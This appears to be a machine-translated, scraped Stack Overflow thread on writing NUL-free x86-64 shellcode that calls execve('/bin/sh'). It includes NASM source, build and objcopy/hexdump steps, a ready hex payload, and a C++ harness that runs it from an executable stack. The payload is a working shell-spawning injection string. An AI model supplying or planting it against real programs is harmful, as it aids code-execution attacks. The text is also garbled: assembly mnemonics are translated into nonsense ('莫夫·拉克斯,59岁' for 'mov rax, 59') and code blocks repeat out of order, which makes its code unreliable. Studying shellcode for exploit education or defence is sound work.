Assembly 不带.data节的独立二进制代码中字符串的指针
我正在尝试编写一种利用漏洞的方法,但在使asm代码在堆栈的任何位置运行时遇到了问题。给你:Assembly 不带.data节的独立二进制代码中字符串的指针,assembly,x86-64,nasm,shellcode,execve,Assembly,X86 64,Nasm,Shellcode,Execve,我正在尝试编写一种利用漏洞的方法,但在使asm代码在堆栈的任何位置运行时遇到了问题。给你: BITS 64 global _start _start: mov rax, 59 jmp short file c1: pop rdi jmp short argv c2: pop rsi mov rdx, 0 syscall ret file: call c1 db '/bin/sh',0 argv: call c2 dq a
BITS 64
global _start
_start:
mov rax, 59
jmp short file
c1:
pop rdi
jmp short argv
c2:
pop rsi
mov rdx, 0
syscall
ret
file:
call c1
db '/bin/sh',0
argv:
call c2
dq arg, 0 <- problem
arg:
db 'sh',0
位64
全球启动
_开始:
莫夫·拉克斯,59岁
jmp短文件
c1:
流行rdi
jmp短argv
c2:
流行性rsi
mov-rdx,0
系统调用
ret
文件:
呼叫c1
db'/bin/sh',0
argv:
呼叫指挥控制
dq arg,0在64位代码中,您不需要JMP/CALL/POP方法,因为您可以使用RIP相对寻址。您的代码还使用类似于mov rdx,0
的指令在字符串中插入不需要的NUL字节。对于将作为字符串插入的外壳代码,您需要使用一组不引入NUL的指令,因为根据如何将字符串注入可利用程序,NUL可能会过早结束字符串
定义如下:
执行程序
int execve(const char *pathname, char *const argv[],
char *const envp[]);
argv是传递给新程序的参数字符串数组。通过
按照约定,这些字符串中的第一个(即argv[0])应包含
与正在执行的文件关联的文件名。envp是一个
字符串数组,通常形式为key=value
作为环境传递给新程序。argv和envp数组
每个都必须在数组末尾包含一个空指针
如果不使用envp,则可以传递NULL。argv需要是一个以NULL结尾的字符串指针列表。在您的情况下,您试图生成与C代码等效的代码:
使用以下功能将其构建到二进制可执行文件中:
nasm -f elf64 shellcode.asm -o shellcode.o
gcc -nostartfiles shellcode.o -o shellcode
运行/shellcode
应该会产生一个Linux shell提示符。接下来,将独立可执行文件转换为shell字符串二进制文件,称为shellcode.bin
,然后将其转换为具有HEXDUMP的十六进制字符串:
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
HEXDUMP的输出应为:
\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05
注意:输出中没有NUL(\x00
)
将字符串插入可开发的C++程序调用<代码>漏洞.CPP < /代码>:
int main(void)
{
char shellstr[]="\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05";
reinterpret_cast<void(*)()>(shellstr)();
return 0;
}
当使用/exploit
运行时,它应该显示一个Linux shell提示符strace./exploit
应为execve
系统调用输出此值:
execve(“/bin/sh”,[“/bin/sh”],NULL)=0
在64位模式下,您不需要调用/弹出技巧,您拥有rip相对lea。使用lea rcx,[rdi+6]
/push rcx
您可以构造argv={“sh”,0}
而不是{”/bin/sh“,0}
以精确匹配OP要求的内容。或者对于不与可执行路径名重叠的任意第一个参数,如push'shsh'
/learcx,[rsp+2]
,将指针插入到push imm32
创建的以0结尾的字符串中。但是重用可执行路径是一个好主意。除了字节存储0
,还可以只push rax
为零,然后push'/bin'
mov[rsp+4],//sh
。
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
int main(void)
{
char shellstr[]="\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05";
reinterpret_cast<void(*)()>(shellstr)();
return 0;
}
g++ -Wl,-z,execstack exploit.cpp -o exploit